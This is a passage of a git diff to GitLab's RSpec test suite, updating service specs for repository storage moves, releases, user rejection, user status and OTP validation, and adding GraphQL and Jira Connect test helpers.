-
- expect(project.pages_metadatum.reload.pages_deployment_id).to be_nil
- end
-
it 'limits pages size' do
stub_application_setting(max_pages_size: 1)
expect(execute).not_to eq(:success)
diff --git a/spec/services/projects/update_repository_storage_service_spec.rb b/spec/services/projects/update_repository_storage_service_spec.rb
index 123f604e7a4..ef8f166cc3f 100644
--- a/spec/services/projects/update_repository_storage_service_spec.rb
+++ b/spec/services/projects/update_repository_storage_service_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
context 'without wiki and design repository' do
let(:project) { create(:project, :repository, wiki_enabled: false) }
let(:destination) { 'test_second_storage' }
- let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, project: project, destination_storage_name: destination) }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, container: project, destination_storage_name: destination) }
let!(:checksum) { project.repository.checksum }
let(:project_repository_double) { double(:repository) }
let(:original_project_repository_double) { double(:repository) }
@@ -144,7 +144,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
end
context 'when the repository move is finished' do
- let(:repository_storage_move) { create(:project_repository_storage_move, :finished, project: project, destination_storage_name: destination) }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :finished, container: project, destination_storage_name: destination) }
it 'is idempotent' do
expect do
@@ -156,7 +156,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
end
context 'when the repository move is failed' do
- let(:repository_storage_move) { create(:project_repository_storage_move, :failed, project: project, destination_storage_name: destination) }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :failed, container: project, destination_storage_name: destination) }
it 'is idempotent' do
expect do
@@ -170,7 +170,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
context 'project with no repositories' do
let(:project) { create(:project) }
- let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, project: project, destination_storage_name: 'test_second_storage') }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, container: project, destination_storage_name: 'test_second_storage') }
it 'updates the database' do
allow(Gitlab::GitalyClient).to receive(:filesystem_id).with('default').and_call_original
@@ -191,7 +191,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
let(:project) { create(:project, :repository, wiki_enabled: true) }
let(:repository) { project.wiki.repository }
let(:destination) { 'test_second_storage' }
- let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, project: project, destination_storage_name: destination) }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, container: project, destination_storage_name: destination) }
before do
project.create_wiki
@@ -204,7 +204,7 @@ RSpec.describe Projects::UpdateRepositoryStorageService do
let(:project) { create(:project, :repository) }
let(:repository) { project.design_repository }
let(:destination) { 'test_second_storage' }
- let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, project: project, destination_storage_name: destination) }
+ let(:repository_storage_move) { create(:project_repository_storage_move, :scheduled, container: project, destination_storage_name: destination) }
before do
project.design_repository.create_if_not_exists
diff --git a/spec/services/quick_actions/interpret_service_spec.rb b/spec/services/quick_actions/interpret_service_spec.rb
index 1f521ed4a93..e6d1d0e90a7 100644
--- a/spec/services/quick_actions/interpret_service_spec.rb
+++ b/spec/services/quick_actions/interpret_service_spec.rb
@@ -1584,7 +1584,7 @@ RSpec.describe QuickActions::InterpretService do
end
end
- it 'limits to commands passed ' do
+ it 'limits to commands passed' do
content = "/shrug test\n/close"
text, commands = service.execute(content, issue, only: [:shrug])
@@ -1593,7 +1593,7 @@ RSpec.describe QuickActions::InterpretService do
expect(text).to eq("test #{described_class::SHRUG}\n/close")
end
- it 'preserves leading whitespace ' do
+ it 'preserves leading whitespace' do
content = " - list\n\n/close\n\ntest\n\n"
text, _ = service.execute(content, issue)
diff --git a/spec/services/releases/create_service_spec.rb b/spec/services/releases/create_service_spec.rb
index b9294182883..7287825a0be 100644
--- a/spec/services/releases/create_service_spec.rb
+++ b/spec/services/releases/create_service_spec.rb
@@ -167,28 +167,47 @@ RSpec.describe Releases::CreateService do
end
end
- context 'when no milestone is passed in' do
- it 'creates a release without a milestone tied to it' do
- expect(params.key?(:milestones)).to be_falsey
+ context 'no milestone association behavior' do
+ let(:title_1) { 'v1.0' }
+ let(:title_2) { 'v1.0-rc' }
+ let!(:milestone_1) { create(:milestone, :active, project: project, title: title_1) }
+ let!(:milestone_2) { create(:milestone, :active, project: project, title: title_2) }
- service.execute
- release = project.releases.last
+ context 'when no milestones parameter is passed' do
+ it 'creates a release without a milestone tied to it' do
+ expect(service.param_for_milestone_titles_provided?).to be_falsey
- expect(release.milestones).to be_empty
+ service.execute
+ release = project.releases.last
+
+ expect(release.milestones).to be_empty
+ end
+
+ it 'does not create any new MilestoneRelease object' do
+ expect { service.execute }.not_to change { MilestoneRelease.count }
+ end
end
- it 'does not create any new MilestoneRelease object' do
- expect { service.execute }.not_to change { MilestoneRelease.count }
+ context 'when an empty array is passed as the milestones parameter' do
+ it 'creates a release without a milestone tied to it' do
+ service = described_class.new(project, user, params.merge!({ milestones: [] }))
+ service.execute
+ release = project.releases.last
+
+ expect(release.milestones).to be_empty
+ end
end
- end
- context 'when an empty value is passed as a milestone' do
- it 'creates a release without a milestone tied to it' do
- service = described_class.new(project, user, params.merge!({ milestones: [] }))
- service.execute
- release = project.releases.last
+ context 'when nil is passed as the milestones parameter' do
+ it 'creates a release without a milestone tied to it' do
+ expect(service.param_for_milestone_titles_provided?).to be_falsey
- expect(release.milestones).to be_empty
+ service = described_class.new(project, user, params.merge!({ milestones: nil }))
+ service.execute
+ release = project.releases.last
+
+ expect(release.milestones).to be_empty
+ end
end
end
end
@@ -217,7 +236,7 @@ RSpec.describe Releases::CreateService do
let(:released_at) { 3.weeks.ago }
it 'does not execute CreateEvidenceWorker' do
- expect { subject }.not_to change(CreateEvidenceWorker.jobs, :size)
+ expect { subject }.not_to change(Releases::CreateEvidenceWorker.jobs, :size)
end
it 'does not create an Evidence object', :sidekiq_inline do
@@ -316,7 +335,7 @@ RSpec.describe Releases::CreateService do
end
it 'queues CreateEvidenceWorker' do
- expect { subject }.to change(CreateEvidenceWorker.jobs, :size).by(1)
+ expect { subject }.to change(Releases::CreateEvidenceWorker.jobs, :size).by(1)
end
it 'creates Evidence', :sidekiq_inline do
@@ -341,18 +360,12 @@ RSpec.describe Releases::CreateService do
context 'upcoming release' do
let(:released_at) { 1.day.from_now }
- it 'queues CreateEvidenceWorker' do
- expect { subject }.to change(CreateEvidenceWorker.jobs, :size).by(1)
- end
-
- it 'queues CreateEvidenceWorker at the released_at timestamp' do
- subject
-
- expect(CreateEvidenceWorker.jobs.last['at'].to_i).to eq(released_at.to_i)
+ it 'does not execute CreateEvidenceWorker' do
+ expect { subject }.not_to change(Releases::CreateEvidenceWorker.jobs, :size)
end
- it 'creates Evidence', :sidekiq_inline do
- expect { subject }.to change(Releases::Evidence, :count).by(1)
+ it 'does not create an Evidence object', :sidekiq_inline do
+ expect { subject }.not_to change(Releases::Evidence, :count)
end
it 'is not a historical release' do
@@ -366,8 +379,6 @@ RSpec.describe Releases::CreateService do
expect(last_release.upcoming_release?).to be_truthy
end
-
- include_examples 'uses the right pipeline for evidence'
end
end
end
diff --git a/spec/services/resource_events/change_labels_service_spec.rb b/spec/services/resource_events/change_labels_service_spec.rb
index efee185669e..8eac6ae0b49 100644
--- a/spec/services/resource_events/change_labels_service_spec.rb
+++ b/spec/services/resource_events/change_labels_service_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe ResourceEvents::ChangeLabelsService do
describe '.change_labels' do
subject { described_class.new(resource, author).execute(added_labels: added, removed_labels: removed) }
- let(:labels) { create_list(:label, 2, project: project) }
+ let_it_be(:labels) { create_list(:label, 2, project: project) }
def expect_label_event(event, label, action)
expect(event.user).to eq(author)
@@ -57,5 +57,28 @@ RSpec.describe ResourceEvents::ChangeLabelsService do
expect { subject }.to change { resource.resource_label_events.count }.from(0).to(2)
end
end
+
+ describe 'usage data' do
+ let(:added) { [labels[0]] }
+ let(:removed) { [labels[1]] }
+
+ context 'when resource is an issue' do
+ it 'tracks changed labels' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).to receive(:track_issue_label_changed_action)
+
+ subject
+ end
+ end
+
+ context 'when resource is a merge request' do
+ let(:resource) { create(:merge_request, source_project: project) }
+
+ it 'does not track changed labels' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).not_to receive(:track_issue_label_changed_action)
+
+ subject
+ end
+ end
+ end
end
end
diff --git a/spec/services/submit_usage_ping_service_spec.rb b/spec/services/submit_usage_ping_service_spec.rb
index 2082a163b29..24afa83ef2c 100644
--- a/spec/services/submit_usage_ping_service_spec.rb
+++ b/spec/services/submit_usage_ping_service_spec.rb
@@ -134,10 +134,9 @@ RSpec.describe SubmitUsagePingService do
it_behaves_like 'saves DevOps report data from the response'
end
- context 'with save_raw_usage_data feature enabled' do
+ context 'with saving raw_usage_data' do
before do
stub_response(body: with_dev_ops_score_params)
- stub_feature_flags(save_raw_usage_data: true)
end
it 'creates a raw_usage_data record' do
@@ -159,18 +158,6 @@ RSpec.describe SubmitUsagePingService do
end
end
- context 'with save_raw_usage_data feature disabled' do
- before do
- stub_response(body: with_dev_ops_score_params)
- end
-
- it 'does not create a raw_usage_data record' do
- stub_feature_flags(save_raw_usage_data: false)
-
- expect { subject.execute }.to change(RawUsageData, :count).by(0)
- end
- end
-
context 'and usage ping response has unsuccessful status' do
before do
stub_response(body: nil, status: 504)
diff --git a/spec/services/suggestions/apply_service_spec.rb b/spec/services/suggestions/apply_service_spec.rb
index d8ade0fbbda..3e7594bd30f 100644
--- a/spec/services/suggestions/apply_service_spec.rb
+++ b/spec/services/suggestions/apply_service_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Suggestions::ApplyService do
position_args = args.slice(:old_path, :new_path, :old_line, :new_line)
content_args = args.slice(:from_content, :to_content)
- position = build_position(position_args)
+ position = build_position(**position_args)
diff_note = create(:diff_note_on_merge_request,
noteable: merge_request,
diff --git a/spec/services/system_hooks_service_spec.rb b/spec/services/system_hooks_service_spec.rb
index b25837ca260..2020c67f465 100644
--- a/spec/services/system_hooks_service_spec.rb
+++ b/spec/services/system_hooks_service_spec.rb
@@ -159,9 +159,6 @@ RSpec.describe SystemHooksService do
it { expect(event_name(group, :create)).to eq 'group_create' }
it { expect(event_name(group, :destroy)).to eq 'group_destroy' }
it { expect(event_name(group, :rename)).to eq 'group_rename' }
- it { expect(event_name(group_member, :create)).to eq 'user_add_to_group' }
- it { expect(event_name(group_member, :destroy)).to eq 'user_remove_from_group' }
- it { expect(event_name(group_member, :update)).to eq 'user_update_for_group' }
end
def event_data(*args)
diff --git a/spec/services/system_note_service_spec.rb b/spec/services/system_note_service_spec.rb
index a4ae7e42958..9c35f9e3817 100644
--- a/spec/services/system_note_service_spec.rb
+++ b/spec/services/system_note_service_spec.rb
@@ -333,6 +333,19 @@ RSpec.describe SystemNoteService do
end
end
+ describe '.noteable_cloned' do
+ let(:noteable_ref) { double }
+ let(:direction) { double }
+
+ it 'calls IssuableService' do
+ expect_next_instance_of(::SystemNotes::IssuablesService) do |service|
+ expect(service).to receive(:noteable_cloned).with(noteable_ref, direction)
+ end
+
+ described_class.noteable_cloned(double, double, noteable_ref, double, direction: direction)
+ end
+ end
+
describe 'Jira integration' do
include JiraServiceHelper
diff --git a/spec/services/system_notes/issuables_service_spec.rb b/spec/services/system_notes/issuables_service_spec.rb
index b70c5e899fc..96afca2f2cb 100644
--- a/spec/services/system_notes/issuables_service_spec.rb
+++ b/spec/services/system_notes/issuables_service_spec.rb
@@ -522,6 +522,91 @@ RSpec.describe ::SystemNotes::IssuablesService do
end
end
+ describe '#noteable_cloned' do
+ let(:new_project) { create(:project) }
+ let(:new_noteable) { create(:issue, project: new_project) }
+
+ subject do
+ service.noteable_cloned(new_noteable, direction)
+ end
+
+ shared_examples 'cross project mentionable' do
+ include MarkupHelper
+
+ it 'contains cross reference to new noteable' do
+ expect(subject.note).to include cross_project_reference(new_project, new_noteable)
+ end
+
+ it 'mentions referenced noteable' do
+ expect(subject.note).to include new_noteable.to_reference
+ end
+
+ it 'mentions referenced project' do
+ expect(subject.note).to include new_project.full_path
+ end
+ end
+
+ context 'cloned to' do
+ let(:direction) { :to }
+
+ it_behaves_like 'cross project mentionable'
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'cloned' }
+ end
+
+ it 'notifies about noteable being cloned to' do
+ expect(subject.note).to match('cloned to')
+ end
+ end
+
+ context 'cloned from' do
+ let(:direction) { :from }
+
+ it_behaves_like 'cross project mentionable'
+
+ it_behaves_like 'a system note' do
+ let(:action) { 'cloned' }
+ end
+
+ it 'notifies about noteable being cloned from' do
+ expect(subject.note).to match('cloned from')
+ end
+ end
+
+ context 'invalid direction' do
+ let(:direction) { :invalid }
+
+ it 'raises error' do
+ expect { subject }.to raise_error StandardError, /Invalid direction/
+ end
+ end
+
+ context 'metrics' do
+ context 'cloned from' do
+ let(:direction) { :from }
+
+ it 'does not tracks usage' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter)
+ .not_to receive(:track_issue_cloned_action).with(author: author)
+
+ subject
+ end
+ end
+
+ context 'cloned to' do
+ let(:direction) { :to }
+
+ it 'tracks usage' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter)
+ .to receive(:track_issue_cloned_action).with(author: author)
+
+ subject
+ end
+ end
+ end
+ end
+
describe '#mark_duplicate_issue' do
subject { service.mark_duplicate_issue(canonical_issue) }
diff --git a/spec/services/users/create_service_spec.rb b/spec/services/users/create_service_spec.rb
index 9040966215c..74340bac055 100644
--- a/spec/services/users/create_service_spec.rb
+++ b/spec/services/users/create_service_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe Users::CreateService do
service.execute
end
- it 'executes system hooks ' do
+ it 'executes system hooks' do
system_hook_service = spy(:system_hook_service)
expect(service).to receive(:system_hook_service).and_return(system_hook_service)
diff --git a/spec/services/users/reject_service_spec.rb b/spec/services/users/reject_service_spec.rb
new file mode 100644
index 00000000000..07863d1a290
--- /dev/null
+++ b/spec/services/users/reject_service_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::RejectService do
+ let_it_be(:current_user) { create(:admin) }
+ let(:user) { create(:user, :blocked_pending_approval) }
+
+ subject(:execute) { described_class.new(current_user).execute(user) }
+
+ describe '#execute' do
+ context 'failures' do
+ context 'when the executor user is not allowed to reject users' do
+ let(:current_user) { create(:user) }
+
+ it 'returns error result' do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:message]).to match(/You are not allowed to reject a user/)
+ end
+ end
+
+ context 'when the executor user is an admin in admin mode', :enable_admin_mode do
+ context 'when user is not in pending approval state' do
+ let(:user) { create(:user, state: 'active') }
+
+ it 'returns error result' do
+ expect(subject[:status]).to eq(:error)
+ expect(subject[:message])
+ .to match(/This user does not have a pending request/)
+ end
+ end
+ end
+ end
+
+ context 'success' do
+ context 'when the executor user is an admin in admin mode', :enable_admin_mode do
+ it 'deletes the user', :sidekiq_inline do
+ subject
+
+ expect(subject[:status]).to eq(:success)
+ expect { User.find(user.id) }.to raise_error(ActiveRecord::RecordNotFound)
+ end
+
+ it 'emails the user on rejection' do
+ expect_next_instance_of(NotificationService) do |notification|
+ allow(notification).to receive(:user_admin_rejection).with(user.name, user.notification_email)
+ end
+
+ subject
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/users/set_status_service_spec.rb b/spec/services/users/set_status_service_spec.rb
index 69cd647eaeb..2c776a0eeb4 100644
--- a/spec/services/users/set_status_service_spec.rb
+++ b/spec/services/users/set_status_service_spec.rb
@@ -31,19 +31,28 @@ RSpec.describe Users::SetStatusService do
expect(service.execute).to be(true)
end
+ context 'when setting availability to not_set' do
+ before do
+ params[:availability] = 'not_set'
+
+ create(:user_status, user: current_user, availability: 'busy')
+ end
+
+ it 'updates the availability' do
+ expect { service.execute }.to change { current_user.status.availability }.from('busy').to('not_set')
+ end
+ end
+
context 'when the given availability value is not valid' do
- let(:params) { { availability: 'not a valid value' } }
+ before do
+ params[:availability] = 'not a valid value'
+ end
it 'does not update the status' do
user_status = create(:user_status, user: current_user)
expect { service.execute }.not_to change { user_status.reload }
end
-
- it 'returns false' do
- create(:user_status, user: current_user)
- expect(service.execute).to be(false)
- end
end
context 'for another user' do
@@ -69,11 +78,21 @@ RSpec.describe Users::SetStatusService do
context 'without params' do
let(:params) { {} }
- it 'deletes the status' do
- status = create(:user_status, user: current_user)
+ shared_examples 'removes user status record' do
+ it 'deletes the status' do
+ status = create(:user_status, user: current_user)
+
+ expect { service.execute }
+ .to change { current_user.reload.status }.from(status).to(nil)
+ end
+ end
+
+ it_behaves_like 'removes user status record'
+
+ context 'when not_set is given for availability' do
+ let(:params) { { availability: 'not_set' } }
- expect { service.execute }
- .to change { current_user.reload.status }.from(status).to(nil)
+ it_behaves_like 'removes user status record'
end
end
end
diff --git a/spec/services/users/validate_otp_service_spec.rb b/spec/services/users/validate_otp_service_spec.rb
index 826755d6145..42f0c10488c 100644
--- a/spec/services/users/validate_otp_service_spec.rb
+++ b/spec/services/users/validate_otp_service_spec.rb
@@ -20,7 +20,8 @@ RSpec.describe Users::ValidateOtpService do
context 'FortiAuthenticator' do
before do
- stub_feature_flags(forti_authenticator: true)
+ stub_feature_flags(forti_authenticator: user)
+ allow(::Gitlab.config.forti_authenticator).to receive(:enabled).and_return(true)
end
it 'calls FortiAuthenticator strategy' do
@@ -31,4 +32,19 @@ RSpec.describe Users::ValidateOtpService do
validate
end
end
+
+ context 'FortiTokenCloud' do
+ before do
+ stub_feature_flags(forti_token_cloud: user)
+ allow(::Gitlab.config.forti_token_cloud).to receive(:enabled).and_return(true)
+ end
+
+ it 'calls FortiTokenCloud strategy' do
+ expect_next_instance_of(::Gitlab::Auth::Otp::Strategies::FortiTokenCloud) do |strategy|
+ expect(strategy).to receive(:validate).with(otp_code).once
+ end
+
+ validate
+ end
+ end
end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 38e3f851116..c19c26f9a0b 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -8,6 +8,12 @@ if $".include?(File.expand_path('fast_spec_helper.rb', __dir__))
abort 'Aborting...'
end
+# Enable deprecation warnings by default and make them more visible
+# to developers to ease upgrading to newer Ruby versions.
+Warning[:deprecated] = true unless ENV.key?('SILENCE_DEPRECATIONS')
+
+require './spec/deprecation_toolkit_env'
+
require './spec/simplecov_env'
SimpleCovEnv.start!
@@ -134,8 +140,11 @@ RSpec.configure do |config|
config.include NextFoundInstanceOf
config.include NextInstanceOf
config.include TestEnv
+ config.include FileReadHelpers
config.include Devise::Test::ControllerHelpers, type: :controller
+ config.include Devise::Test::ControllerHelpers, type: :view
config.include Devise::Test::IntegrationHelpers, type: :feature
+ config.include Devise::Test::IntegrationHelpers, type: :request
config.include LoginHelpers, type: :feature
config.include SearchHelpers, type: :feature
config.include WaitHelpers, type: :feature
@@ -143,7 +152,6 @@ RSpec.configure do |config|
config.include EmailHelpers, :mailer, type: :mailer
config.include Warden::Test::Helpers, type: :request
config.include Gitlab::Routing, type: :routing
- config.include Devise::Test::ControllerHelpers, type: :view
config.include ApiHelpers, :api
config.include CookieHelper, :js
config.include InputHelper, :js
@@ -215,10 +223,6 @@ RSpec.configure do |config|
stub_feature_flags(vue_issuable_sidebar: false)
stub_feature_flags(vue_issuable_epic_sidebar: false)
- # The following can be removed once we are confident the
- # unified diff lines works as expected
- stub_feature_flags(unified_diff_lines: false)
-
# Merge request widget GraphQL requests are disabled in the tests
# for now whilst we migrate as much as we can over the GraphQL
stub_feature_flags(merge_request_widget_graphql: false)
@@ -227,6 +231,10 @@ RSpec.configure do |config|
# tests, until we introduce it in user settings
stub_feature_flags(forti_authenticator: false)
+ # Using FortiToken Cloud as OTP provider is disabled by default in
+ # tests, until we introduce it in user settings
+ stub_feature_flags(forti_token_cloud: false)
+
enable_rugged = example.metadata[:enable_rugged].present?
# Disable Rugged features by default
@@ -238,6 +246,8 @@ RSpec.configure do |config|
# See https://gitlab.com/gitlab-org/gitlab/-/issues/33867
stub_feature_flags(file_identifier_hash: false)
+ stub_feature_flags(unified_diff_components: false)
+
allow(Gitlab::GitalyClient).to receive(:can_use_disk?).and_return(enable_rugged)
else
unstub_all_feature_flags
@@ -279,27 +289,15 @@ RSpec.configure do |config|
# context 'some test in mocked dir', :do_not_mock_admin_mode do ... end
admin_mode_mock_dirs = %w(
./ee/spec/elastic_integration
- ./ee/spec/features
./ee/spec/finders
./ee/spec/lib
- ./ee/spec/requests/admin
./ee/spec/serializers
- ./ee/spec/support/protected_tags
- ./ee/spec/support/shared_examples/features
./ee/spec/support/shared_examples/finders/geo
./ee/spec/support/shared_examples/graphql/geo
- ./spec/features
./spec/finders
- ./spec/frontend
- ./spec/helpers
./spec/lib
- ./spec/requests
./spec/serializers
- ./spec/support/protected_tags
- ./spec/support/shared_examples/features
- ./spec/support/shared_examples/requests
./spec/support/shared_examples/lib/gitlab
- ./spec/views
./spec/workers
)
@@ -333,6 +331,13 @@ RSpec.configure do |config|
Gitlab::WithRequestStore.with_request_store { example.run }
end
+ config.before(:example, :request_store) do
+ # Clear request store before actually starting the spec (the
+ # `around` above will have the request store enabled for all
+ # `before` blocks)
+ RequestStore.clear!
+ end
+
config.around do |example|
# Wrap each example in it's own context to make sure the contexts don't
# leak
diff --git a/spec/support/atlassian/jira_connect/schemata.rb b/spec/support/atlassian/jira_connect/schemata.rb
new file mode 100644
index 00000000000..91f8fe0bb41
--- /dev/null
+++ b/spec/support/atlassian/jira_connect/schemata.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module Atlassian
+ module Schemata
+ def self.build_info
+ {
+ 'type' => 'object',
+ 'required' => %w(schemaVersion pipelineId buildNumber updateSequenceNumber displayName url state issueKeys testInfo references),
+ 'properties' => {
+ 'schemaVersion' => { 'type' => 'string', 'pattern' => '1.0' },
+ 'pipelineId' => { 'type' => 'string' },
+ 'buildNumber' => { 'type' => 'integer' },
+ 'updateSequenceNumber' => { 'type' => 'integer' },
+ 'displayName' => { 'type' => 'string' },
+ 'url' => { 'type' => 'string' },
+ 'state' => {
+ 'type' => 'string',
+ 'pattern' => '(pending|in_progress|successful|failed|cancelled)'
+ },
+ 'issueKeys' => {
+ 'type' => 'array',
+ 'items' => { 'type' => 'string' },
+ 'minItems' => 1
+ },
+ 'testInfo' => {
+ 'type' => 'object',
+ 'required' => %w(totalNumber numberPassed numberFailed numberSkipped),
+ 'properties' => {
+ 'totalNumber' => { 'type' => 'integer' },
+ 'numberFailed' => { 'type' => 'integer' },
+ 'numberPassed' => { 'type' => 'integer' },
+ 'numberSkipped' => { 'type' => 'integer' }
+ }
+ },
+ 'references' => {
+ 'type' => 'array',
+ 'items' => {
+ 'type' => 'object',
+ 'required' => %w(commit ref),
+ 'properties' => {
+ 'commit' => {
+ 'type' => 'object',
+ 'required' => %w(id repositoryUri),
+ 'properties' => {
+ 'id' => { 'type' => 'string' },
+ 'repositoryUri' => { 'type' => 'string' }
+ }
+ },
+ 'ref' => {
+ 'type' => 'object',
+ 'required' => %w(name uri),
+ 'properties' => {
+ 'name' => { 'type' => 'string' },
+ 'uri' => { 'type' => 'string' }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ end
+
+ def self.build_info_payload
+ {
+ 'type' => 'object',
+ 'required' => %w(providerMetadata builds),
+ 'properties' => {
+ 'providerMetadata' => provider_metadata,
+ 'builds' => { 'type' => 'array', 'items' => build_info }
+ }
+ }
+ end
+
+ def self.provider_metadata
+ {
+ 'type' => 'object',
+ 'required' => %w(product),
+ 'properties' => { 'product' => { 'type' => 'string' } }
+ }
+ end
+ end
+end
diff --git a/spec/support/caching.rb b/spec/support/caching.rb
index 883d531550a..11e4f534971 100644
--- a/spec/support/caching.rb
+++ b/spec/support/caching.rb
@@ -25,7 +25,7 @@ RSpec.configure do |config|
original_null_store = Rails.cache
caching_config_hash = Gitlab::Redis::Cache.params
caching_config_hash[:namespace] = Gitlab::Redis::Cache::CACHE_NAMESPACE
- Rails.cache = ActiveSupport::Cache::RedisCacheStore.new(caching_config_hash)
+ Rails.cache = ActiveSupport::Cache::RedisCacheStore.new(**caching_config_hash)
redis_cache_cleanup!
diff --git a/spec/support/gitlab_experiment.rb b/spec/support/gitlab_experiment.rb
new file mode 100644
index 00000000000..1f283e4f06c
--- /dev/null
+++ b/spec/support/gitlab_experiment.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+# Disable all caching for experiments in tests.
+Gitlab::Experiment::Configuration.cache = nil
diff --git a/spec/support/gitlab_stubs/gitlab_ci_includes.yml b/spec/support/gitlab_stubs/gitlab_ci_includes.yml
new file mode 100644
index 00000000000..e74773ce23e
--- /dev/null
+++ b/spec/support/gitlab_stubs/gitlab_ci_includes.yml
@@ -0,0 +1,19 @@
+rspec 0 1:
+ stage: build
+ script: 'rake spec'
+ needs: []
+
+rspec 0 2:
+ stage: build
+ script: 'rake spec'
+ needs: []
+
+spinach:
+ stage: build
+ script: 'rake spinach'
+ needs: []
+
+docker:
+ stage: test
+ script: 'curl http://dockerhub/URL'
+ needs: [spinach, rspec 0 1]
diff --git a/spec/support/graphql/arguments.rb b/spec/support/graphql/arguments.rb
new file mode 100644
index 00000000000..d8c334c2ca4
--- /dev/null
+++ b/spec/support/graphql/arguments.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module Graphql
+ class Arguments
+ delegate :blank?, :empty?, to: :to_h
+
+ def initialize(values)
+ @values = values.compact
+ end
+
+ def to_h
+ @values
+ end
+
+ def ==(other)
+ to_h == other&.to_h
+ end
+
+ alias_method :eql, :==
+
+ def to_s
+ return '' if empty?
+
+ @values.map do |name, value|
+ value_str = as_graphql_literal(value)
+
+ "#{GraphqlHelpers.fieldnamerize(name.to_s)}: #{value_str}"
+ end.join(", ")
+ end
+
+ def as_graphql_literal(value)
+ self.class.as_graphql_literal(value)
+ end
+
+ # Transform values to GraphQL literal arguments.
+ # Use symbol for Enum values
+ def self.as_graphql_literal(value)
+ case value
+ when ::Graphql::Arguments then "{#{value}}"
+ when Array then "[#{value.map { |v| as_graphql_literal(v) }.join(',')}]"
+ when Hash then "{#{new(value)}}"
+ when Integer, Float, Symbol then value.to_s
+ when String then "\"#{value.gsub(/"/, '\\"')}\""
+ when nil then 'null'
+ when true then 'true'
+ when false then 'false'
+ else
+ value.to_graphql_value
+ end
+ rescue NoMethodError
+ raise ArgumentError, "Cannot represent #{value} as GraphQL literal"
+ end
+
+ def merge(other)
+ self.class.new(@values.merge(other.to_h))
+ end
+
+ def +(other)
+ if blank?
+ other
+ elsif other.blank?
+ self
+ elsif other.is_a?(String)
+ [to_s, other].compact.join(', ')
+ else
+ merge(other)
+ end
+ end
+ end
+end
diff --git a/spec/support/graphql/field_inspection.rb b/spec/support/graphql/field_inspection.rb
new file mode 100644
index 00000000000..f39ba751141
--- /dev/null
+++ b/spec/support/graphql/field_inspection.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Graphql
+ class FieldInspection
+ def initialize(field)
+ @field = field
+ end
+
+ def nested_fields?
+ !scalar? && !enum?
+ end
+
+ def scalar?
+ type.kind.scalar?
+ end
+
+ def enum?
+ type.kind.enum?
+ end
+
+ def type
+ @type ||= begin
+ field_type = @field.type.respond_to?(:to_graphql) ? @field.type.to_graphql : @field.type
+
+ # The type could be nested. For example `[GraphQL::STRING_TYPE]`:
+ # - List
+ # - String!
+ # - String
+ field_type = field_type.of_type while field_type.respond_to?(:of_type)
+
+ field_type
+ end
+ end
+ end
+end
diff --git a/spec/support/graphql/field_selection.rb b/spec/support/graphql/field_selection.rb
new file mode 100644
index 00000000000..e2a3334acac
--- /dev/null
+++ b/spec/support/graphql/field_selection.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module Graphql
+ class FieldSelection
+ delegate :empty?, :blank?, :to_h, to: :selection
+ delegate :size, to: :paths
+
+ attr_reader :selection
+
+ def initialize(selection = {})
+ @selection = selection.to_h
+ end
+
+ def to_s
+ serialize_field_selection(selection)
+ end
+
+ def paths
+ selection.flat_map do |field, subselection|
+ paths_in([field], subselection)
+ end
+ end
+
+ private
+
+ def paths_in(path, leaves)
+ return [path] if leaves.nil?
+
+ leaves.to_a.flat_map do |k, v|
+ paths_in([k], v).map { |tail| path + tail }
+ end
+ end
+
+ def serialize_field_selection(hash, level = 0)
+ indent = ' ' * level
+
+ hash.map do |field, subselection|
+ if subselection.nil?
+ "#{indent}#{field}"
+ else
+ subfields = serialize_field_selection(subselection, level + 1)
+ "#{indent}#{field} {\n#{subfields}\n#{indent}}"
+ end
+ end.join("\n")
+ end
+
+ NO_SKIP = ->(_name, _field) { false }
+
+ def self.select_fields(type, skip = NO_SKIP, parent_types = Set.new, max_depth = 3)
+ return new if max_depth <= 0
+
+ new(type.fields.flat_map do |name, field|
+ next [] if skip[name, field]
+
+ inspected = ::Graphql::FieldInspection.new(field)
+ singular_field_type = inspected.type
+
+ # If field type is the same as parent type, then we're hitting into
+ # mutual dependency. Break it from infinite recursion
+ next [] if parent_types.include?(singular_field_type)
+
+ if inspected.nested_fields?
+ subselection = select_fields(singular_field_type, skip, parent_types | [type], max_depth - 1)
+ next [] if subselection.empty?
+
+ [[name, subselection.to_h]]
+ else
+ [[name, nil]]
+ end
+ end)
+ end
+ end
+end
diff --git a/spec/support/graphql/var.rb b/spec/support/graphql/var.rb
new file mode 100644
index 00000000000..4f2c774e898
--- /dev/null
+++ b/spec/support/graphql/var.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Graphql
+ # Helper to pass variables around generated queries.
+ #
+ # e.g.:
